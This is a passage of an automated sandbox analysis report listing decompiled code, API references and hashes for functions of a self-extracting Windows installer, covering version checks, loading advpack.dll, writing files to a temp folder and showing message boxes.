					if(_t77 == 1) {
						 *0x11b9a40 = _t119;
						 *0x11b8184 = 1;
						 *0x11b8180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0x11b9a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0x11b8184 = _t135;
							 *0x11b8180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E011B4495(0, _t138);
					L66:
					return E011B6C80(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x011b36e7
0x011b36ee
0x011b36fa
0x011b3704
0x011b3706
0x011b3709
0x011b370f
0x011b3719
0x011b372b
0x011b3733
0x011b3734
0x011b3734
0x011b3737
0x011b3799
0x011b379b
0x011b379c
0x011b37a1
0x011b37a6
0x011b37a6
0x011b37ad
0x011b37ad
0x011b37b3
0x00000000
0x00000000
0x011b37b9
0x011b37bb
0x00000000
0x00000000
0x011b37c3
0x011b37c9
0x011b37d6
0x011b37d8
0x011b37d8
0x011b37d8
0x011b37de
0x011b37e4
0x011b37f3
0x011b3805
0x011b3819
0x011b381e
0x011b3824
0x011b3829
0x011b382b
0x011b38d9
0x011b38d9
0x011b38e0
0x011b38fa
0x011b38ff
0x011b38ff
0x011b3901
0x011b393b
0x011b393b
0x011b393d
0x011b3897
0x011b3897
0x011b389e
0x011b38a0
0x011b38a7
0x011b38a9
0x011b38af
0x011b3963
0x011b38b5
0x011b38cc
0x011b38ce
0x011b38ce
0x011b3969
0x011b396b
0x011b3997
0x011b396d
0x011b3970
0x011b3979
0x011b397b
0x011b397d
0x011b398d
0x011b398f
0x011b397f
0x011b397f
0x011b397f
0x011b397d
0x011b399d
0x011b39a4
0x011b39fd
0x011b39fd
0x011b39ff
0x011b3a01
0x011b3a07
0x00000000
0x011b39a6
0x011b39a6
0x011b39a8
0x00000000
0x00000000
0x011b39aa
0x011b39ad
0x00000000
0x00000000
0x011b39b1
0x011b39b7
0x011b39bc
0x011b39be
0x011b39d1
0x011b39d3
0x011b39d4
0x011b39df
0x011b39e5
0x011b39e8
0x011b39ef
0x011b39f2
0x00000000
0x00000000
0x011b39f4
0x011b39f7
0x011b39f7
0x011b39f9
0x011b39f9
0x00000000
0x011b39f7
0x011b39ea
0x00000000
0x011b39ea
0x011b39c1
0x011b39c6
0x011b39c8
0x00000000
0x00000000
0x00000000
0x011b39ca
0x011b39a4
0x011b3943
0x011b3949
0x00000000
0x00000000
0x011b394f
0x011b3951
0x00000000
0x00000000
0x011b3957
0x011b3957
0x00000000
0x011b3957
0x011b3903
0x011b3903
0x011b3909
0x011b390d
0x00000000
0x00000000
0x011b391b
0x011b3921
0x011b3926
0x011b3928
0x00000000
0x00000000
0x011b392e
0x011b3934
0x011b3939
0x00000000
0x011b3939
0x00000000
0x011b38e0
0x011b3831
0x011b3833
0x00000000
0x00000000
0x011b3839
0x011b383b
0x011b3871
0x011b3873
0x00000000
0x00000000
0x011b3888
0x011b388c
0x011b388c
0x00000000
0x00000000
0x011b388e
0x011b388e
0x011b3890
0x00000000
0x00000000
0x011b3892
0x00000000
0x011b3892
0x011b383d
0x011b383f
0x011b3845
0x011b385c
0x011b3865
0x011b3869
0x00000000
0x00000000
0x00000000
0x011b386f
0x011b3847
0x011b384a
0x011b3850
0x011b3854
0x00000000
0x00000000
0x011b3856
0x00000000
0x011b38e2
0x011b38e2
0x011b38e3
0x011b38e9
0x011b38ef
0x011b38ef
0x00000000
0x011b38f8
0x011b3739
0x011b373c
0x011b374a
0x011b3752
0x011b3757
0x011b375c
0x011b375f
0x011b378a
0x011b378d
0x00000000
0x00000000
0x011b3791
0x011b3792
0x00000000
0x011b3792
0x011b3761
0x011b3765
0x011b3766
0x011b376d
0x011b376f
0x011b377c
0x011b377c
0x011b3782
0x00000000
0x011b3782
0x011b3771
0x00000000
0x00000000
0x011b3773
0x011b377a
0x00000000
0x00000000
0x00000000
0x011b377a
0x011b373e
0x00000000
0x011b371b
0x011b371b
0x011b3959
0x011b3959
0x011b395a
0x011b395c
0x011b395d
0x011b3a0c
0x011b3a0c
0x011b3a10
0x011b3a15
0x011b3a2a
0x011b3a2a

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 011B3711
MessageBeep.USER32(00000000), ref: 011B39B1
MessageBoxA.USER32(00000000,00000000,gGhd,00000030), ref: 011B39DF

Strings

3, xrefs: 011B3773
gGhd, xrefs: 011B39D7, 011B3A07

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$BeepVersion
String ID: 3$gGhd
API String ID: 2519184315-867323253
Opcode ID: 992123d5504c78b666b339ba053c778ae7a6a7c067ffab0cab3daa15adc69c25
Instruction ID: 64b08b1049a04bda1bb83c9019381aa814756ca7e1f0db3847583678cf177c8a
Opcode Fuzzy Hash: 992123d5504c78b666b339ba053c778ae7a6a7c067ffab0cab3daa15adc69c25
Instruction Fuzzy Hash: 0D91F671F212249FEB3D8E28C8D1BEAB7B4FB85704F1501A9D969EB241D7308991CF42

Uniqueness

Uniqueness Score: -1.00%

Function 011B6443, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E011B6443(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0x11b8004; // 0x714bc98c
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E011B17A1( &_v268, 0x104, __ecx, "C:\Users\jones\AppData\Local\Temp\IXP000.TMP\");
				_t26 = "advpack.dll";
				E011B6534( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E011B6C80(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x011b6443
0x011b6443
0x011b644e
0x011b6455
0x011b6459
0x011b646b
0x011b6470
0x011b6481
0x011b648d
0x011b6496
0x011b64b0
0x011b649c
0x011b64a7
0x011b64a7
0x011b64c2

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 011B648D
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 011B64A7
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 011B64B0

Strings

advpack.dll, xrefs: 011B6470, 011B647B, 011B64AF
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B645A

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-3680919256
Opcode ID: 7130515ad75641ced855b87b66bd9e1026b0cd23eeac7dfd7454e04d4d6ce032
Instruction ID: f017f767fbcdcb11bdb449405e56b90a5f14915c14c51bcb51bdc5f22f244ac2
Opcode Fuzzy Hash: 7130515ad75641ced855b87b66bd9e1026b0cd23eeac7dfd7454e04d4d6ce032
Instruction Fuzzy Hash: CDF0D130A00108ABDB6CEB64E8C8AEE7779DFA4714F500168E195A30C0DFB499CACB10

Uniqueness

Uniqueness Score: -1.00%

Function 011B28E3, Relevance: 7.6, APIs: 5, Instructions: 139
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B28E3(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E011B2770(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t68 = GetFileVersionInfoSizeA(_v12,  &_v32);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									if(GetFileVersionInfoA(_v12, _v32, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E011B2A82(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E011B2A82(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x011b28ec
0x011b28ef
0x011b28f2
0x011b28f4
0x011b28f7
0x011b28fa
0x011b28fc
0x011b2902
0x011b2a5d
0x011b2a5f
0x011b2908
0x011b2908
0x011b290a
0x011b290d
0x011b291b
0x011b2932
0x00000000
0x00000000
0x011b293f
0x011b2945
0x011b294a
0x011b2a2a
0x011b2a2d
0x011b2a2f
0x011b2a32
0x011b2a3c
0x00000000
0x00000000
0x011b2950
0x011b2959
0x011b295d
0x011b2964
0x011b296a
0x011b296f
0x011b2987
0x011b2a1b
0x011b2a1c
0x011b2a22
0x011b2a47
0x011b2a4a
0x011b2a4b
0x011b2a4e
0x011b2a51
0x011b2a57
0x00000000
0x00000000
0x00000000
0x00000000
0x011b29ad
0x011b29ad
0x011b29b0
0x011b29b8
0x011b29be
0x011b29c7
0x011b29d0
0x011b29d2
0x011b29d5
0x011b29d8
0x011b29da
0x011b29e7
0x011b29f3
0x011b29f7
0x011b29fa
0x011b29fd
0x011b2a02
0x011b2a05
0x011b2a0a
0x011b2a14
0x011b2a7a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x011b2a0a
0x011b2987
0x011b296f
0x011b295d
0x00000000
0x011b294a
0x011b290d
0x011b2a60
0x011b2a63
0x011b2a67
0x011b2a6a
0x011b2a6a
0x011b2a76

APIs

GlobalFree.KERNEL32 ref: 011B2A6A

Part of subcall function 011B2770: CharUpperA.USER32(714BC98C,00000000,00000000,00000000), ref: 011B27A5
Part of subcall function 011B2770: CharNextA.USER32(0000054D), ref: 011B27B2
Part of subcall function 011B2770: CharNextA.USER32(00000000), ref: 011B27B9
Part of subcall function 011B2770: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011B2826
Part of subcall function 011B2770: RegQueryValueExA.ADVAPI32(?,011B1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011B284F
Part of subcall function 011B2770: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011B286D
Part of subcall function 011B2770: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011B289D

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,011B3926,?,?,?,?,-00000005), ref: 011B2953
GlobalLock.KERNEL32 ref: 011B2964
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,011B3926,?,?,?,?,-00000005,?), ref: 011B2A1C
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 011B2A7A

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: 60f182e3eb3c0c8a6be2fd27c82d71fedfe629295a763eb05bfe48865e851316
Instruction ID: 9847cee9395e0a2b684bdd05fbfdc0785bb1195feb6127b0c0eebf12f2d035b0
Opcode Fuzzy Hash: 60f182e3eb3c0c8a6be2fd27c82d71fedfe629295a763eb05bfe48865e851316
Instruction Fuzzy Hash: 75513D31900219EFDB29CFA8D8C4AEEBBB5FF48714F14406AE915F3251D731A945CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 011B4153, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E011B4153(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E011B4669("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E011B4669("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E011B4495(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E011B4495(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x011b4167
0x011b4179
0x011b417d
0x011b41a1
0x011b41bd
0x011b41d0
0x00000000
0x011b41d1
0x011b41bf
0x011b41c0
0x011b41c2
0x011b41c3
0x011b41c4
0x011b41c9
0x011b41cb
0x00000000
0x011b41cb
0x011b41a3
0x011b41a4
0x011b41a6
0x011b41a7
0x011b41a8
0x00000000
0x011b41a8
0x00000000

APIs

Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B467A
Part of subcall function 011B4669: SizeofResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B4683
Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B469D
Part of subcall function 011B4669: LoadResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46A6
Part of subcall function 011B4669: LockResource.KERNEL32(00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46AD
Part of subcall function 011B4669: memcpy_s.MSVCRT ref: 011B46BF
Part of subcall function 011B4669: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46C9

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,011B30A5), ref: 011B4173
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,011B30A5), ref: 011B41D1

Part of subcall function 011B4495: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011B44F4
Part of subcall function 011B4495: MessageBoxA.USER32(?,?,gGhd,00010010), ref: 011B4530

Strings

<None>, xrefs: 011B41AF
FINISHMSG, xrefs: 011B415D, 011B4195

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: b84cea8c8113b5ec4ef4c19bd1ab29525a69d6c1cfa7634d7882dc920d5c9453
Instruction ID: 637c235b5d308fdff7b40f12eccb3000a16db5b805a9275e6cffc10dd6c9fb3c
Opcode Fuzzy Hash: b84cea8c8113b5ec4ef4c19bd1ab29525a69d6c1cfa7634d7882dc920d5c9453
Instruction Fuzzy Hash: E601ADF17002157AF32D266A6CD9FFB109EDBD4698F11C025FB47E6986DBA8EC010179

Uniqueness

Uniqueness Score: -1.00%

Function 011B1A00, Relevance: 7.6, APIs: 5, Instructions: 50
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E011B1A00(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0x11b8004; // 0x714bc98c
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E011B43AE(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0x11b9a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E011B6C80(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x011b1a00
0x011b1a00
0x011b1a0b
0x011b1a12
0x011b1a19
0x011b1a1c
0x011b1a21
0x011b1a4a
0x011b1a4e
0x011b1a5e
0x011b1a6f
0x011b1a82
0x011b1a8a
0x00000000
0x011b1a23
0x011b1a26
0x011b1a40
0x011b1a40
0x011b1a28
0x011b1a28
0x011b1a34
0x00000000
0x011b1a36
0x011b1a38
0x011b1a90
0x011b1a92
0x011b1a92
0x011b1a34
0x011b1a26
0x011b1a9f

APIs

EndDialog.USER32(?,?), ref: 011B1A38
GetDesktopWindow.USER32 ref: 011B1A44
LoadStringA.USER32(?,?,00000200), ref: 011B1A6F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 011B1A82
MessageBeep.USER32(000000FF), ref: 011B1A8A

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 1f99965cabf818a528b9b299049e2e25f2ffb7bafc99f9868fdc2bf18ef95e74
Instruction ID: 010c7bc2d7fe17bea0659a7761e73c4750001fc6d11d5212a5cb103080de2931
Opcode Fuzzy Hash: 1f99965cabf818a528b9b299049e2e25f2ffb7bafc99f9868fdc2bf18ef95e74
Instruction Fuzzy Hash: D211CC31500159AFDB58EF78E988AED77F9EF45340F014160E522D3185DB30AE41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 011B7105, Relevance: 7.6, APIs: 5, Instructions: 50
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B7105() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0x11b8004; // 0x714bc98c
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0x11b8004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0x11b8004 = _t39;
				}
				_t37 =  !_t36;
				 *0x11b8008 = _t37;
				return _t37;
			}

0x011b710d
0x011b7111
0x011b7115
0x011b7128
0x011b7132
0x011b713e
0x011b7147
0x011b7150
0x011b7161
0x011b7168
0x011b7174
0x011b7177
0x011b717b
0x011b7185
0x011b718a
0x011b718a
0x011b718c
0x011b718c
0x011b7192
0x011b7195
0x011b719c

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 011B7132
GetCurrentProcessId.KERNEL32 ref: 011B7141
GetCurrentThreadId.KERNEL32 ref: 011B714A
GetTickCount.KERNEL32 ref: 011B7153
QueryPerformanceCounter.KERNEL32(?), ref: 011B7168

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 05e952e013cf24be420fa62f95e0a6b979f5f01558b06e3cd55fd623765fed10
Instruction ID: f9ccac8b0c9d27fe5ca58dbb7619e8612d71c8c1c25a9620d2cb92868cc71313
Opcode Fuzzy Hash: 05e952e013cf24be420fa62f95e0a6b979f5f01558b06e3cd55fd623765fed10
Instruction Fuzzy Hash: 37112E71D01208EFCF28DFB8E68869EBBF9FF48354F554865E411E7284E7309A418B50

Uniqueness

Uniqueness Score: -1.00%

Function 011B6370, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E011B6370(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0x11b8004; // 0x714bc98c
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E011B17A1( &_v268, 0x104, __ecx, "C:\Users\jones\AppData\Local\Temp\IXP000.TMP\");
				E011B6534( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0x11b9124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0x11b9124 = 0x80070052;
					_t37 = 0;
				}
				return E011B6C80(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x011b637b
0x011b6382
0x011b6388
0x011b639a
0x011b63a3
0x011b63b1
0x011b63b2
0x011b63c0
0x011b63c5
0x011b63e3
0x011b63e8
0x011b63f9
0x011b6413
0x011b641d
0x011b6427
0x011b6427
0x011b642a
0x011b63ea
0x011b63ea
0x011b63f4
0x011b63f4
0x011b6440

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011B63DD
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011B640B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011B642A

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B639B

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-305352358
Opcode ID: ca3e5e88d9e352215a432b221f0096c253ab18fe3cf76e754c6ea7dd18385d2b
Instruction ID: cdb7cc510d5daef30b68c2499a387c550eb813ccba88137eba53e1f3b26e7972
Opcode Fuzzy Hash: ca3e5e88d9e352215a432b221f0096c253ab18fe3cf76e754c6ea7dd18385d2b
Instruction Fuzzy Hash: BC21C3B1A0021CABDB28DF25DCC4FDA7768EB58318F004179E655A3180DBB45D85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 011B47BA, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B47BA(intOrPtr* __ecx) {
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx;
				_t34 = LocalAlloc(0x40, 8);
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
